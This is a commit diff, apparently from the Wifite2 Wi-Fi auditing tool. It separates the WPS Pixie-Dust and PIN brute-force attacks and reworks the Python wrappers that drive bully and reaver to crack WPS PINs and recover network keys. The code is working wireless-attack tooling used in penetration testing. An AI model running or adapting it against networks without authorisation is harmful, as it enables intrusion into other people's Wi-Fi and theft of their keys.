Bully works. Pixie and PIN attacks are separate attacks.
This commit is contained in:
@@ -53,9 +53,12 @@ class AttackAll(object):
|
||||
elif 'WPA' in target.encryption:
|
||||
# WPA can have multiple attack vectors:
|
||||
|
||||
# WPS
|
||||
if target.wps:
|
||||
# WPS
|
||||
attacks.append(AttackWPS(target))
|
||||
if Configuration.wps_pixie:
|
||||
attacks.append(AttackWPS(target, pixie_dust=True))
|
||||
if Configuration.wps_pin:
|
||||
attacks.append(AttackWPS(target, pixie_dust=False))
|
||||
|
||||
# PMKID
|
||||
attacks.append(AttackPMKID(target))
|
||||
|
||||
@@ -6,10 +6,11 @@ from ..util.color import Color
|
||||
from ..config import Configuration
|
||||
|
||||
class AttackWPS(Attack):
|
||||
def __init__(self, target):
|
||||
def __init__(self, target, pixie_dust=False):
|
||||
super(AttackWPS, self).__init__(target)
|
||||
self.success = False
|
||||
self.crack_result = None
|
||||
self.pixie_dust = pixie_dust
|
||||
|
||||
def run(self):
|
||||
''' Run all WPS-related attacks '''
|
||||
@@ -27,6 +28,18 @@ class AttackWPS(Attack):
|
||||
self.success = False
|
||||
return False
|
||||
|
||||
if not Configuration.wps_pixie and self.pixie_dust:
|
||||
Color.pl('\r{!} {O}--no-pixie{R} set, ignoring WPS attack on ' +
|
||||
'{O}%s{W}' % self.target.essid)
|
||||
self.success = False
|
||||
return False
|
||||
|
||||
if not Configuration.wps_pin and not self.pixie_dust:
|
||||
Color.pl('\r{!} {O}--no-pin{R} set, ignoring WPS attack on ' +
|
||||
'{O}%s{W}' % self.target.essid)
|
||||
self.success = False
|
||||
return False
|
||||
|
||||
if Configuration.use_bully:
|
||||
return self.run_bully()
|
||||
else:
|
||||
@@ -36,47 +49,21 @@ class AttackWPS(Attack):
|
||||
|
||||
|
||||
def run_bully(self):
|
||||
# Bully: Pixie-dust
|
||||
from ..tools.bully import Bully
|
||||
bully = Bully(self.target)
|
||||
bully = Bully(self.target, pixie_dust=self.pixie_dust)
|
||||
bully.run()
|
||||
bully.stop()
|
||||
self.crack_result = bully.crack_result
|
||||
self.success = self.crack_result is not None
|
||||
if self.success:
|
||||
return True
|
||||
|
||||
# Bully: WPS PIN Attack
|
||||
return self.success
|
||||
|
||||
|
||||
def run_reaver(self):
|
||||
from ..tools.reaver import Reaver
|
||||
reaver = Reaver(self.target)
|
||||
|
||||
# Reaver: PixieDust then WPS PIN attack.
|
||||
for pixie_dust in [True, False]:
|
||||
if pixie_dust and not Configuration.wps_pixie:
|
||||
continue # Avoid Pixie-Dust attack
|
||||
if not pixie_dust and not Configuration.wps_pin:
|
||||
continue # Avoid PIN attack
|
||||
|
||||
if Configuration.wps_pixie and pixie_dust and \
|
||||
not reaver.is_pixiedust_supported():
|
||||
Color.pl('{!} {R}your version of "reaver" does not support the ' +
|
||||
'{O}WPS pixie-dust attack{W}')
|
||||
continue
|
||||
|
||||
reaver = Reaver(self.target, pixie_dust=pixie_dust)
|
||||
try:
|
||||
reaver.run()
|
||||
except KeyboardInterrupt:
|
||||
Color.pl('\n{!} {O}Interrupted{W}')
|
||||
continue
|
||||
self.crack_result = reaver.crack_result
|
||||
self.success = self.crack_result is not None
|
||||
if self.success:
|
||||
return True
|
||||
|
||||
return False
|
||||
reaver = Reaver(self.target, pixie_dust=self.pixie_dust)
|
||||
reaver.run()
|
||||
self.crack_result = reaver.crack_result
|
||||
self.success = self.crack_result is not None
|
||||
return self.success
|
||||
|
||||
|
||||
@@ -18,19 +18,25 @@ class Bully(Attack, Dependency):
|
||||
dependency_name = 'bully'
|
||||
dependency_url = 'https://github.com/aanarchyy/bully'
|
||||
|
||||
def __init__(self, target):
|
||||
def __init__(self, target, pixie_dust=True):
|
||||
super(Bully, self).__init__(target)
|
||||
|
||||
self.target = target
|
||||
self.pixie_dust = pixie_dust
|
||||
|
||||
self.total_attempts = 0
|
||||
self.total_timeouts = 0
|
||||
self.total_failures = 0
|
||||
self.locked = False
|
||||
self.state = '{O}Waiting for beacon{W}'
|
||||
self.start_time = time.time()
|
||||
self.last_pin = ""
|
||||
self.pins_remaining = -1
|
||||
self.eta = ''
|
||||
|
||||
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
|
||||
self.crack_result = None
|
||||
|
||||
self.target = target
|
||||
|
||||
self.cmd = []
|
||||
|
||||
if Process.exists('stdbuf'):
|
||||
@@ -42,13 +48,15 @@ class Bully(Attack, Dependency):
|
||||
'bully',
|
||||
'--bssid', target.bssid,
|
||||
'--channel', target.channel,
|
||||
'--detectlock', # Detect WPS lockouts unreported by AP
|
||||
'--force',
|
||||
#'--detectlock', # Detect WPS lockouts unreported by AP
|
||||
#'--force',
|
||||
'-v', '4',
|
||||
'--pixiewps',
|
||||
Configuration.interface
|
||||
])
|
||||
|
||||
if self.pixie_dust:
|
||||
self.cmd.insert(-1, '--pixiewps')
|
||||
|
||||
self.bully_proc = None
|
||||
|
||||
|
||||
@@ -73,36 +81,7 @@ class Bully(Attack, Dependency):
|
||||
t.start()
|
||||
|
||||
try:
|
||||
while self.bully_proc.poll() is None:
|
||||
try:
|
||||
self.target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
|
||||
self.stop()
|
||||
break
|
||||
|
||||
# Update status
|
||||
self.pattack(self.get_status())
|
||||
|
||||
# Check if entire attack timed out.
|
||||
if self.running_time() > Configuration.wps_pixie_timeout:
|
||||
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
|
||||
self.stop()
|
||||
return
|
||||
|
||||
# Check if timeout threshold was breached
|
||||
if self.total_timeouts >= Configuration.wps_timeout_threshold:
|
||||
self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
|
||||
self.stop()
|
||||
return
|
||||
|
||||
# Check if WPSFail threshold was breached
|
||||
if self.total_failures >= Configuration.wps_fail_threshold:
|
||||
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
|
||||
self.stop()
|
||||
return
|
||||
|
||||
time.sleep(0.5)
|
||||
self._run(airodump)
|
||||
except KeyboardInterrupt as e:
|
||||
self.stop()
|
||||
raise e
|
||||
@@ -113,16 +92,70 @@ class Bully(Attack, Dependency):
|
||||
if self.crack_result is None:
|
||||
self.pattack('{R}Failed{W}', newline=True)
|
||||
|
||||
def _run(self, airodump):
|
||||
while self.bully_proc.poll() is None:
|
||||
try:
|
||||
self.target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
|
||||
Color.pexception(e)
|
||||
self.stop()
|
||||
break
|
||||
|
||||
# Update status
|
||||
self.pattack(self.get_status())
|
||||
|
||||
# Thresholds only apply to Pixie-Dust
|
||||
if self.pixie_dust:
|
||||
# Check if entire attack timed out.
|
||||
if self.running_time() > Configuration.wps_pixie_timeout:
|
||||
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % (
|
||||
Configuration.wps_pixie_timeout), newline=True)
|
||||
self.stop()
|
||||
return
|
||||
|
||||
# Check if timeout threshold was breached
|
||||
if self.total_timeouts >= Configuration.wps_timeout_threshold:
|
||||
self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % (
|
||||
Configuration.wps_timeout_threshold), newline=True)
|
||||
self.stop()
|
||||
return
|
||||
|
||||
# Check if WPSFail threshold was breached
|
||||
if self.total_failures >= Configuration.wps_fail_threshold:
|
||||
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % (
|
||||
Configuration.wps_fail_threshold), newline=True)
|
||||
self.stop()
|
||||
return
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
|
||||
def pattack(self, message, newline=False):
|
||||
# Print message with attack information.
|
||||
time_left = Configuration.wps_pixie_timeout - self.running_time()
|
||||
if self.pixie_dust:
|
||||
# Count down
|
||||
time_left = Configuration.wps_pixie_timeout - self.running_time()
|
||||
attack_name = 'Pixie-Dust'
|
||||
else:
|
||||
# Count up
|
||||
time_left = self.running_time()
|
||||
attack_name = 'PIN Attack'
|
||||
|
||||
if self.eta:
|
||||
time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta
|
||||
else:
|
||||
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
|
||||
|
||||
if self.pins_remaining >= 0:
|
||||
time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining
|
||||
else:
|
||||
time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts
|
||||
|
||||
Color.clear_entire_line()
|
||||
Color.pattack('WPS',
|
||||
self.target,
|
||||
'Pixie-Dust',
|
||||
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
|
||||
Color.pattack('WPS', self.target, attack_name,
|
||||
'{W}[%s] %s' % (time_msg, message))
|
||||
|
||||
if newline:
|
||||
Color.pl('')
|
||||
|
||||
@@ -139,7 +172,7 @@ class Bully(Attack, Dependency):
|
||||
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
|
||||
|
||||
if self.total_failures > 0:
|
||||
meta_statuses.append('{O}WPSFail:%d{W}' % self.total_failures)
|
||||
meta_statuses.append('{O}Fails:%d{W}' % self.total_failures)
|
||||
|
||||
if self.locked:
|
||||
meta_statuses.append('{R}Locked{W}')
|
||||
@@ -153,6 +186,7 @@ class Bully(Attack, Dependency):
|
||||
def parse_line_thread(self):
|
||||
for line in iter(self.bully_proc.pid.stdout.readline, b''):
|
||||
if line == '': continue
|
||||
line = line.decode('utf-8')
|
||||
line = line.replace('\r', '').replace('\n', '').strip()
|
||||
|
||||
if Configuration.verbose > 1:
|
||||
@@ -191,7 +225,7 @@ class Bully(Attack, Dependency):
|
||||
# Mention the PIN & that we're not done yet.
|
||||
self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True)
|
||||
|
||||
self.state = '{G}Finding PSK...{C}'
|
||||
self.state = '{G}Finding Key...{C}'
|
||||
time.sleep(2)
|
||||
|
||||
###########################
|
||||
@@ -201,7 +235,7 @@ class Bully(Attack, Dependency):
|
||||
self.cracked_key = key_re.group(1)
|
||||
|
||||
if not self.crack_result and self.cracked_pin and self.cracked_key:
|
||||
self.pattack('{G}Cracked PSK: {C}%s{W}' % self.cracked_key, newline=True)
|
||||
self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True)
|
||||
self.crack_result = CrackResultWPS(
|
||||
self.target.bssid,
|
||||
self.target.essid,
|
||||
@@ -225,20 +259,33 @@ class Bully(Attack, Dependency):
|
||||
# [+] Last State = 'NoAssoc' Next pin '48855501'
|
||||
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
|
||||
if last_state:
|
||||
# group(1)=result, group(2)=PIN
|
||||
# group(1)=NoAssoc, group(2)=PIN
|
||||
pin = last_state.group(2)
|
||||
state = 'Trying PIN {C}%s{W} (%s)' % (pin, last_state.group(1))
|
||||
if pin != self.last_pin:
|
||||
self.last_pin = pin
|
||||
self.total_attempts += 1
|
||||
if self.pins_remaining > 0:
|
||||
self.pins_remaining -= 1
|
||||
state = 'Trying PIN'
|
||||
|
||||
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
|
||||
mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
|
||||
mx_result_pin = re.search(
|
||||
r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
|
||||
if mx_result_pin:
|
||||
# group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN
|
||||
self.locked = False
|
||||
# group(1)=M3/M5, group(2)=result, group(3)=PIN
|
||||
m_state = mx_result_pin.group(1)
|
||||
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
|
||||
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
|
||||
pin = mx_result_pin.group(3)
|
||||
if pin != self.last_pin:
|
||||
self.last_pin = pin
|
||||
self.total_attempts += 1
|
||||
if self.pins_remaining > 0:
|
||||
self.pins_remaining -= 1
|
||||
|
||||
if result == 'Timeout':
|
||||
if result in ['Pin1Bad', 'Pin2Bad']:
|
||||
result = '{G}%s{W}' % result
|
||||
elif result == 'Timeout':
|
||||
self.total_timeouts += 1
|
||||
result = '{O}%s{W}' % result
|
||||
elif result == 'WPSFail':
|
||||
@@ -250,14 +297,33 @@ class Bully(Attack, Dependency):
|
||||
result = '{R}%s{W}' % result
|
||||
|
||||
result = '{P}%s{W}:%s' % (m_state.strip(), result.strip())
|
||||
state = 'Trying PIN {C}%s{W} (%s)' % (pin, result)
|
||||
state = 'Trying PIN (%s)' % result
|
||||
|
||||
# [!] Run time 00:02:49, pins tested 32 (5.28 seconds per pin)
|
||||
re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line)
|
||||
if re_tested:
|
||||
# group(1)=01:23:45, group(2)=1234
|
||||
self.total_attempts = int(re_tested.group(2))
|
||||
|
||||
#[!] Current rate 5.28 seconds per pin, 07362 pins remaining
|
||||
re_remaining = re.search(r' ([0-9]+) pins remaining', line)
|
||||
if re_remaining:
|
||||
self.pins_remaining = int(re_remaining.group(1))
|
||||
|
||||
# [!] Average time to crack is 5 hours, 23 minutes, 55 seconds
|
||||
re_eta = re.search(
|
||||
r'time to crack is (\d+) hours, (\d+) minutes, (\d+) seconds', line)
|
||||
if re_eta:
|
||||
h, m, s = re_eta.groups()
|
||||
self.eta = '%sh%sm%ss' % (
|
||||
h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0'))
|
||||
|
||||
# [!] WPS lockout reported, sleeping for 43 seconds ...
|
||||
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
|
||||
if re_lockout:
|
||||
self.locked = True
|
||||
sleeping = re_lockout.group(1)
|
||||
state = '{R}WPS Lock-out: {O}Waiting %s seconds{W}' % sleeping
|
||||
state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping
|
||||
|
||||
# [Pixie-Dust] WPS pin not found
|
||||
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
|
||||
|
||||
@@ -264,6 +264,8 @@ class Reaver(Attack, Dependency):
|
||||
tried_pins = set(re.findall(r'Trying pin "([0-9]+)"', stdout))
|
||||
self.total_attempts = len(tried_pins)
|
||||
|
||||
# TODO: Look for "Sending M6 message" which indicates first 4 digits are correct.
|
||||
|
||||
return state
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user